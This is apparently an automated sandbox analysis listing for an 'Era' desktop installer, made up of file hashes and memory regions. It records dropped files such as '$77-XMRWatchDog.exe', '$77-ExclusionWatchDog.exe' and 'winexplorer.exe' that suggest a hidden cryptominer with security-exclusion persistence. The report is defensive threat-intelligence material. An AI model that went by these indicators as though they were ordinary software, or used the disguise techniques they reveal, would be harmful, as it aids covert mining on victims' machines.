SHA512 f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\vk_swiftshader.dll

MD5 32df067d598c0ce2300a18383fffc49a
SHA1 3f6724917d0e420402558054b649097b9a81b27d
SHA256 c43409d323261e94cff89c34bc1bd1376aa32ff3c9dd804aa98a43b5cbf1d99e
SHA512 846f70b43209049bb8ed568e2f821b2631c124cbee95d8ba49b4883938b08c787c45ad38a8710c72f8bb5db9cb8b8471b6c40a69ec62d2f148b769ad58e866a6

memory/2584-752-0x0000000073030000-0x00000000737E0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\resources.pak

MD5 f5eca444f926a2e7176daff54ecab1b1
SHA1 15981331c2c7dc40d94507e6a6d2effe60ed9435
SHA256 70df0cf8eb1a56871ca1a075229d2a44a0303180c0f875b6dacb03a1530ec2f3
SHA512 eb634b3a17347d64fd23cfaf1f2c85ec2981fccbcc1da2821fbdc40f9b95f1114ea72778895ad2fcff2a01dc32988d3611e6872cf6a452c8c514c912355d264a

C:\Program Files\Era\Era.exe

MD5 2c1ad18829c55134293a0450fb69dd52
SHA1 f135c22570da250a37c7d12d32a2db0413797776
SHA256 ef97ef48569d389a8782dd45ecb2a821d27f38ee6a29ddd8a66d2edeb708ede1
SHA512 dc2037e47df0b61a055a76a9ac9ec0309601c8240be7306faf53686baef93ab91740e7d394c32d7ef5bd9b5bf152ca0dce24b273d55f2d69345eb8e1899deffa

C:\Program Files\Era\icudtl.dat

MD5 198801fd6cebc1c6bce8001eef7bbc3d
SHA1 2585fa5de9d300f833e620e5f94441f7852eeed5
SHA256 6aada0e6eb4c3acbfc3017e6103d9907171d7b61a671a5c075babd1f8c81d728
SHA512 f5056f26c36302ddb1ecd4d02a0bc3a8a31489ecdbbaea42dba91ed7fd6b8486c67e7a7fe83d6a03ed37796c57091b288b9414c1f4fda4a74f33182a3d75c98c

C:\Program Files\Era\ffmpeg.dll

MD5 d9b9209c7bf8a47be0d8c79935bc7fd9
SHA1 2aaba06f960235eacf33cb884aa9b3d76c83c0e3
SHA256 36d6b1d15dc85c12364bb99ffc8170f659fc80efd04e2f7bf7e41f232b765f52
SHA512 4843f65a67cacd10ae160de9b5d22be61e2c6ff13cf6c6a0b02a98b1ac3542be582684efe74e265ab2ba122a9b3196a05c631de1e58c84f078c451398eac5563

C:\Program Files\Era\ffmpeg.dll

MD5 85d2158988c6cf27bee1188c953ef4b4
SHA1 cede7f1f5d00b3fa68acabcc3552dc0fae1a3035
SHA256 525dcc174287768fc97163607ce555c95c8735917261786ebe7f9b82805e7fec
SHA512 230388a7da642ed985960606eb6b41862d596482f3ddf93900c5237e3a56f7a6c39fdcbddb5cf7d857bc0cf21ac519e4c33bc70dc63dc0663a5088608ae28b2f

C:\Program Files\Era\resources\app.asar

MD5 a0df50d56aaa8350067c33a2ad01e1e8
SHA1 f91f04573ddcddee686ce3e6cd07a020c6a8d7d8
SHA256 223b34d2b890cc68c10aecc521b08cfecf719e75d7ccc7c99cc487edcb663fc6
SHA512 c117ce065c3b10174724e0645fee15262f944c1a85d622d24dabd430dd2296a8ca39d14ab4fc5db751cb86c5e5d3c837e076d1503611b4b3372eafd067188986

C:\Users\Admin\AppData\Local\Temp\a1343827-676a-468b-9042-500f3feb149d.tmp.node

MD5 1e8fba747fc5ca9010eaf5da31231036
SHA1 e330cccdc1918bd814af91e61383c672a8465693
SHA256 7087403ac6cbf42f368a085977cc0505585f00cc41ee2ba08b90b3ea1be83fea
SHA512 cf1c92c2f254c1933037553840146cb13e266b25f36737fbad335fdf246116b7ac4e4e2a35c294458f564ec888c2f042cfc7f9ea8992bbf88dd36b9b9b816ad2

C:\Users\Admin\AppData\Local\Temp\2cd12bde-9639-4abb-87d3-366466aae500.tmp.node

MD5 6a558135102b24e66dc6a4ef0725b73c
SHA1 a66e76bbb74cec80b7daccf040f09234d33d3e1d
SHA256 5fc28219197b5b610da44c7109d62d85f0ed80fed3c6077f1800ac64802d6b5b
SHA512 eadddce1a3cada983914d834844a5d16a11d0e1ed8e10e37bad7e17512926658ae400458cf550fe4315912277a42c507eb3cefa3d77455bf869c3e4eb543b77f

C:\Program Files\Era\resources.pak

MD5 5808eac62177da7643edcf1ad5eea317
SHA1 d2692cad951a752d650a380d0fbd1a14688c6dd0
SHA256 f4ca5d87a792c926edd34fe04b826c5e9baeb0546e90e28678874b0b7a8c01f1
SHA512 3b71bafb67fca224f65b320c8ab7d8c549314bace315e522ed592eaf287078341415c44f1625134db486cbc687cc48bdd85281791b1f2b20c4aa01f7a12e3752

memory/3916-780-0x00007FFD9AFF0000-0x00007FFD9AFF1000-memory.dmp

C:\Program Files\Era\ffmpeg.dll

MD5 16f8613c18c567daee090daf17b900ba
SHA1 a64fb1a417ff87e6b84f86046adfcc3ba41d45f9
SHA256 71bbb72f3ca6c5d8f3c45bc7ece36462e24216176f8ec59752571e69993200a2
SHA512 0c42d7e4b682ab2fe1fd7e01df2027df26eff948353b1ace8dd837e0710f82d5d5741aeb81c734c6ac5c300be521c7fe68eab9a957bf81966ea27e1ee5847d4c

C:\Program Files\Era\Era.exe

MD5 c644faa8bfa0f144cf1361d6cb59308e
SHA1 a73b3133392a3911a45088b249b9ce9e84636161
SHA256 881961be009c476f843712fd225f1b296686bc193266e845044635922bb2911b
SHA512 289933aa0885d4450757a7cbce167b1ce7bbc23945d4cdd7fe77d1f26ce60d3ca44b15e1b38a5d2ad71dd2a7e51031880bf21918a9d67b110e23e96b5223f110

C:\Program Files\Era\libEGL.dll

MD5 f6661017e7343b8cef2d89ff87fa3b9e
SHA1 7ff0f7e694f5798f0b070f13860dca29b8e87266
SHA256 bdc4386e77b6253af4d0119cee599fac600fd1ad1d0f2388087c0a214545ba05
SHA512 cb85e63aae010583c21e8b2125830208d977c0e948442e63a17d3c10b37976567c393b0d498855499d9c54758d6a76a279c43248ab1555ac586fa5047c0f4ad7

C:\Program Files\Era\vk_swiftshader.dll

MD5 f6ed1beec2156a1b0b845fa0e09b9a44
SHA1 b5569d938b6719d9e9d39508b579b5de52980972
SHA256 5e9e45cc0b66f1a8d845e18446bf0461055f64dc264c9016729bd3352bc2b1b2
SHA512 d21963eb968a20cd0d52dba404b9d9c393e90a8d5a05f43c5e4766ac468ec3a09963afadc3e392645b356cd16acb21209f09e53cec178051c79608fc27b30ba4

C:\Program Files\Era\vk_swiftshader.dll

MD5 e5e5a39e39cdadd9c906834d99495b0c
SHA1 2226110b7535e832741f7aa2975a748d69098bd1
SHA256 5a17ffefb385a4a57a94c4fffe0238d601cc678b83270fc09859906242106b70
SHA512 845a5abfd60be60b94dc307a2c066370f7ff0b1c32b36afcb389648210482067bc318a8693ef8e5640514905cbf720e0a2cda47fb8f4cb0abfb8620ae4e4508d

memory/5152-1037-0x0000024622180000-0x0000024622181000-memory.dmp

C:\Program Files\Era\ffmpeg.dll

MD5 c98a9c78d4e4e9096a264484f48002e7
SHA1 fbc92f8e8bfa5d235b3e86f32728e768ce8141c1
SHA256 e616af513ad26c599295939dd38786f951a2a627b21b0d5346c4d5dfbff6930e
SHA512 edde151534ed0a6bf78c7ead80ab5206e18e7e443d544cc2714f28a3737621d2df0391bdf596656c66e1a32e9381250820b782e966545bbf154d04b66cee9050

C:\Program Files\Era\libegl.dll

MD5 acfa3faca57e0312cdcb3acee63f7d82
SHA1 bdebec3094e891f9c83be879f40119793d188b66
SHA256 12dc7cf597aeb541f9c2901abc5a6ac38ef112d71255f79ee92016d28933f877
SHA512 d530cab41c5fb20ac4b474043b1f7649f8d30490a8304dac5ab23ed84a0cf5032be6a30d251730bb803cf79d5180e2b99e7438e0eafed7311e6a22c34eb41a71

C:\Program Files\Era\libGLESv2.dll

MD5 7d8957a74240a81559d93deab333e24a
SHA1 5b70af09951a1b6ebdafa423147277b3fc815c8f
SHA256 a70a480ecc3e03b24aeb00d77893dacf98487b3206fb5acdfd77900785dc1c1d
SHA512 f9cb0e913768646eeb9a121e1e9813a5a63c6c49f07a24aebcb934728cf43dfd1e7f74b690ce7154c21150710c6b643473baebd910146b98f242e55fe876690c

C:\Program Files\Era\libglesv2.dll

MD5 36fa6a0d380942c8e9c1512c364a4d35
SHA1 dc0bb26c23c3a60b139aaa685365ded2afac5139
SHA256 bbf96fd2b1b82c8d50436081dda3e0fb459d068244615ec0b4210af5f1462304
SHA512 f713cc4565d080b2cc2e7d7a9e47c143aec593e8d45a3ec5126af20fe70909a9ab1f8f1ffa974acc624569648600eb216a8c45e18a3beb6b8be7a3fa52a1dae0

C:\Program Files\Era\d3dcompiler_47.dll

MD5 891b8c01d67f91df8e6382a4eda34b27
SHA1 1043d561940b0a30a6bec7dffc41433f753af2a2
SHA256 400dffdab0745bb7caf7e8bb96b67eceaf05ef4bcb38de1d24a25ea648ce52bb
SHA512 942a112c156897f90c30c4e2d3fd38cf62e8dfa91d6424b7e297bd17ffb36ae4a77a1832de8015730aa00a3f768b9deedb2903de836343216615a2349f7a29fd

C:\Program Files\Era\D3DCompiler_47.dll

MD5 a51932e121df4e178069fb4e9790ff5a
SHA1 9e5ef9bafed745f49b9d1a67dc12ee383d0edbb9
SHA256 53be00b1e9e080ef4c76dd391a7e1c3dcabd6927a29d37ae547a933ad14d228d
SHA512 b4332a2fd67cf531a90862d3c0b3defb8ddeaebde7f126f15676765f34833d3afd6e6de40814f2cd5d0e651dd9291515ab01dc626c2223096b50faf527d78358

memory/5152-1040-0x00007FFD9AEC0000-0x00007FFD9AEC1000-memory.dmp

C:\Program Files\Era\Era.exe

MD5 821dcbaab27767db2c7a87f37ad99fa0
SHA1 c3df23763465b54ec5fc40478a55cb9787077132
SHA256 7371d7ab6de97a70ecb5122bfbdc5c8b962320550aa9f21b21d3101ef852b3af
SHA512 09fe88e3e9984df84febb4001e833a29c4e896e3f162c5ee4cd15b2e5f11d24693de1e1cf964257a8e5a63c2f704300d9f70a5a1708c0e665717f1b1d936472b

C:\Program Files\Era\Era.exe

MD5 8b98359b104a65f313b1db6f82a7c211
SHA1 f65c2873ffc41e590c9db7009b553c41e1b13ffc
SHA256 5961720e2d9b21edac3b617808b06f1d25ddbfb1508b00f58b6cad3b8577d6e0
SHA512 884ed59af0c3d5186b3dac9c9db7e95393eb655a333495f1c17e7fb47a854f58c7e375d3407c97031c390323b0830373ce7b11f114928e9753175588bf1b24b0

C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Program Files\Era\ffmpeg.dll

MD5 901ee1997f8496c3422bb0f2f649030d
SHA1 d74f4a602ac6d48fb52a864e2fb826b18ac7a32f
SHA256 2d686e4946c9b06261fc10951b82c129b659061740cd214c2c6a4dfadf454f99
SHA512 7d22b1cf573070b32a4bb7b6e8e1e8863c945d0fe01b7ca1f0ce84341f1b53c2b9ec994d7f6e142af27255e429c159fb18aee755e6492ccd12b39d31df47156e

C:\Program Files\Era\Era.exe

MD5 bdd9cc01ac3fa85236a4b0eca6c69239
SHA1 7473f1374beea3f0a4373835f60b9a974ae03707
SHA256 1764e08ff9348411a9383a70777265ce44e2128d8095592bf5984ecd2bb47c7d
SHA512 8c92c2ccc4253c6f4b9d932b97f776a7d841625cbd1f44d07dd8013422452793d1b6e86de5b5ae0e612baff36ee747238cd4d2bc34958ca3f37c80c4605e8a4a

C:\Users\Admin\AppData\Local\Temp\$77-Net.exe

MD5 351145d89e1a494037e89228eda5d94a
SHA1 fcefd35f09f9ee39138c5b6ccc5642b8c870f625
SHA256 099bc1b432378b7dff3d1ed29015dd0cb95a590004cbde8eac58964e15b22ad3
SHA512 b420c3020d8367a462e0cd575d02b556d9dd84faee292c32c87b3116d0469eabd9c060ba67235c4b9a87af75474e8c9aa01fc7fa5aeedc4a603ffae8e867bddb

memory/5588-1059-0x0000000073030000-0x00000000737E0000-memory.dmp

memory/5588-1060-0x0000000000D20000-0x0000000000D7A000-memory.dmp

memory/5588-1066-0x0000000005490000-0x00000000054A0000-memory.dmp

C:\Users\Admin\AppData\Local\era-updater\installer.exe

MD5 8d508309b56189eabd9e82497a12749a
SHA1 c0570409295e6371130eb78fb93952a5bc7b09a6
SHA256 3e0ef0f3eb2cc436769f2213e0a463f5e82f389a9633bfa85cf880bf7f5a52c2
SHA512 8fb5e202075b5898d0386cf20542822bf56dc0b5420e83c892f19878b8890fa41a2c476c26cf8662cc49bebf320d1f5907e01bc53ae63b95d85bcc997d3a4709

memory/5588-1069-0x00000000082B0000-0x0000000008362000-memory.dmp

memory/5588-1070-0x00000000083F0000-0x0000000008466000-memory.dmp

memory/5588-1071-0x00000000093F0000-0x0000000009744000-memory.dmp

memory/5588-1076-0x0000000009370000-0x000000000938E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Era\d413004d-c24b-48f3-852d-058664b6d5d6.tmp

MD5 58127c59cb9e1da127904c341d15372b
SHA1 62445484661d8036ce9788baeaba31d204e9a5fc
SHA256 be4b8924ab38e8acf350e6e3b9f1f63a1a94952d8002759acd6946c4d5d0b5de
SHA512 8d1815b277a93ad590ff79b6f52c576cf920c38c4353c24193f707d66884c942f39ff3989530055d2fade540ade243b41b6eb03cd0cc361c3b5d514cca28b50a

C:\Windows\$77-ExclusionWatchDog.exe

MD5 5165f0350b5c2d944691d27cbcee743f
SHA1 aa7ca0a65cf47b13e3765aa6a4fa5bb8287c9076
SHA256 e5303fa8a19e7a9f0f1a8d9238edb8a828489d50a861a42c20212a37442b5193
SHA512 e020717a734985e89aa494bef7c8227805501eea1075af032a665e16359ce737ebc34a5f5e9001decad8e70a00232ddfa1d862a103c75d6623c31a32e42efbcd

memory/3916-1098-0x0000016735FE0000-0x000001673600B000-memory.dmp

memory/5152-1099-0x0000024622150000-0x000002462217B000-memory.dmp

memory/6036-1097-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1548-1105-0x0000000073030000-0x00000000737E0000-memory.dmp

memory/4588-1106-0x000001F140B70000-0x000001F140B92000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2e20f6df278b21c603acdc028ca3c82b
SHA1 227d5f53c9ece30d17162862543bbf3d9b1c7016
SHA256 102fbbd0d59da908511077075b896c3d3662723b6eaaa269152b7166e840ba6a
SHA512 269f81c374ae44fe42a61629e2eea32b7b24e2f39503b3f91cbe77c2318fb147e39158a0bd6f3670b48a0d70689ec64a5af9aaea27bab7a51ac0bb479220aca5

memory/4588-1118-0x000001F1284B0000-0x000001F1284C0000-memory.dmp

memory/4588-1119-0x000001F1284B0000-0x000001F1284C0000-memory.dmp

memory/1548-1120-0x0000000005340000-0x0000000005350000-memory.dmp

memory/4588-1117-0x00007FFD7B5F0000-0x00007FFD7C0B1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Era\Cache\Cache_Data\data_2

MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

C:\Users\Admin\AppData\Local\era-updater\pending\temp-Era Setup 1.0.60.exe

MD5 1b622c8553fa03daed2f424b9082df83
SHA1 b80103ad659590d154a4cb725a58ba5d7a2c37b0
SHA256 e7baa14b63e0af2eac63c5db1121daec261e6bfd7487d8b1bc3d21c55b9b2a95
SHA512 073e7fd15802652a90d97bb10cf114bd98ccce12e5a7690989bfd9aeb51ebcac4d8025d81a862829bf43cd965f2321a0a1b45278ab2ac0b31c00c25d7a282662

C:\Users\Admin\AppData\Roaming\Era\Network\Network Persistent State

MD5 210514877e0c2e90d78981421c26e749
SHA1 328c8624ffda5a9a44559853060c63a6ec122723
SHA256 4b7b351a4d3445e4623f357f3c21bd51464ec9987ef30b456021bf23453314d1
SHA512 90edf31d31cc2cd4493fdf02ea3dfd24863cc44b1156f7f58a3a867f468cd308713b584d5a1491ff70d734fd75edaf4a4b44bfc0d531e5ce81e890e16ddd43ae

C:\Users\Admin\AppData\Roaming\Era\Network\Network Persistent State~RFe580347.TMP

MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b

C:\Users\Admin\AppData\Roaming\Era\Session Storage\MANIFEST-000001

MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

C:\Users\Admin\AppData\Roaming\Era\Session Storage\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\AppData\Local\era-updater\pending\Era Setup 1.0.60.exe

MD5 b66021cf196b8755da55a29fb50cf1c8
SHA1 07af79e352d9650337268697e5a77cc0049cdfed
SHA256 462b7912229f4accad04dfb02279455f9c41630b9a6bf2fe2293e51833592c02
SHA512 6cbb855953d713939e064ef27cda4c1236cccfee1d175a004f2b715c1832e37c3d6f9e1321541094bf03db9bb58b53dbcdf663ff896a4acfe2ade0cbd38e33d6

C:\Users\Admin\AppData\Roaming\Era\GPUCache\data_0

MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

C:\Users\Admin\AppData\Roaming\Era\GPUCache\data_1

MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

C:\Users\Admin\AppData\Roaming\Era\DawnCache\data_3

MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

C:\Windows\$77-XMRWatchDog.exe

MD5 0367457f2a775170dcf406fcd0aae731
SHA1 80d8a86a9aaec89fb448f26a0bc683dbd1758986
SHA256 a62746f1b302e5e0ec0d6f3382140fc3e16edf9bb0328d0f31a0e778b8e5477c
SHA512 3fbe37bf2044d4637bb203ca2243f06e41a1a70ed39434cca891adc28d257eba049efe36799af1ca39ab73a4340e94d0e33cba49e0d4803dfd71d8a82a6ff792

C:\Users\Admin\AppData\Local\era-updater\pending\Era Setup 1.0.60.exe

MD5 ada1e9ca060182893b94eeb47fa7028c
SHA1 a83dc39a6281c289b01edcd954ad1415b148b717
SHA256 07b906bb37c0c0beebc06ab8b16098ad6f96511139e9ba450df7e286b2dca624
SHA512 45f65604fa1d0d319d737171923d1411f149d1162294d0e7ae453c4cc86d8c64cb9065ce7e9134e55e7f4a2a9f86270f161b04a7beef3a58d5a4ee3c4a7efd14

memory/4588-1197-0x00007FFD7B5F0000-0x00007FFD7C0B1000-memory.dmp

C:\Windows\winexplorer.exe

MD5 5c1ed096b4a430fd7647df72947f2042
SHA1 5aefacf259aa92d5831428a17c71ae57ae519a8e
SHA256 0a08544c72e4ca6e0619fd06d2f9014732e4802da7013a22680916e2b6e6b987
SHA512 78f798139fac1721bc7b48b89c6fc70c868fc9c050c73b7d0938800b5dc292874ac63ec1c7cfae0788ee877bdb4691b22ae9049d831ae5ebddcf0410530ed31a

C:\Windows\winexplorer.exe

MD5 152e3f07bbaf88fb8b097ba05a60df6e
SHA1 c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA512 2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

memory/4636-1221-0x00007FFD7DDC0000-0x00007FFD7E881000-memory.dmp

memory/4636-1223-0x0000021DD3690000-0x0000021DD36A0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsl7CC.tmp\nsProcess.dll

MD5 f0438a894f3a7e01a4aae8d1b5dd0289
SHA1 b058e3fcfb7b550041da16bf10d8837024c38bf6
SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
SHA512 f91fcea19cbddf8086affcb63fe599dc2b36351fc81ac144f58a80a524043ddeaa3943f36c86ebae45dd82e8faf622ea7b7c9b776e74c54b93df2963cfe66cc7

memory/4636-1222-0x0000021DD3690000-0x0000021DD36A0000-memory.dmp

C:\Program Files\Era\Uninstall Era.exe

MD5 8faef0d4dc2ff33a49ae6d77f6a83b25
SHA1 5a4be2364e4e07c74b044bdd7ba935a26d915918
SHA256 1813cf8d65dd4b13a32efc2f4acb0b220cf80a6429978a34343f0bedddf76660
SHA512 e2ad3568e56b09af2c949271af9e6cbe002f0e41ee6e030d386a1facdd99a65c599033a2acb394373f5783f52cc39677b2fdde3fa0307ec5be0037403491af12

C:\Users\Admin\AppData\Local\Temp\nssCCD.tmp\UAC.dll

MD5 adb29e6b186daa765dc750128649b63d
SHA1 160cbdc4cb0ac2c142d361df138c537aa7e708c9
SHA256 2f7f8fc05dc4fd0d5cda501b47e4433357e887bbfed7292c028d99c73b52dc08
SHA512 b28adcccf0c33660fecd6f95f28f11f793dc9988582187617b4c113fb4e6fdad4cf7694cd8c0300a477e63536456894d119741a940dda09b7df3ff0087a7eada

memory/4636-1268-0x0000021DD3690000-0x0000021DD36A0000-memory.dmp

memory/2292-1275-0x0000000140000000-0x0000000140008000-memory.dmp

memory/2292-1280-0x0000000140000000-0x0000000140008000-memory.dmp

memory/2292-1278-0x0000000140000000-0x0000000140008000-memory.dmp

memory/2292-1287-0x00007FFD9CB10000-0x00007FFD9CD05000-memory.dmp

memory/2292-1292-0x00007FFD9AF30000-0x00007FFD9AFEE000-memory.dmp

memory/2292-1276-0x0000000140000000-0x0000000140008000-memory.dmp

memory/2292-1274-0x0000000140000000-0x0000000140008000-memory.dmp

memory/4636-1273-0x00007FFD9AF30000-0x00007FFD9AFEE000-memory.dmp

memory/2292-1303-0x0000000140000000-0x0000000140008000-memory.dmp

memory/612-1314-0x000001F5B1190000-0x000001F5B11B5000-memory.dmp

memory/612-1323-0x000001F5B1570000-0x000001F5B159B000-memory.dmp

memory/4636-1272-0x00007FFD9CB10000-0x00007FFD9CD05000-memory.dmp

memory/4636-1271-0x0000021DD4350000-0x0000021DD437A000-memory.dmp

memory/612-1459-0x000001F5B1570000-0x000001F5B159B000-memory.dmp

memory/5588-1462-0x0000000073030000-0x00000000737E0000-memory.dmp

memory/5588-1492-0x0000000005490000-0x00000000054A0000-memory.dmp

memory/676-1488-0x00000225DEFA0000-0x00000225DEFCB000-memory.dmp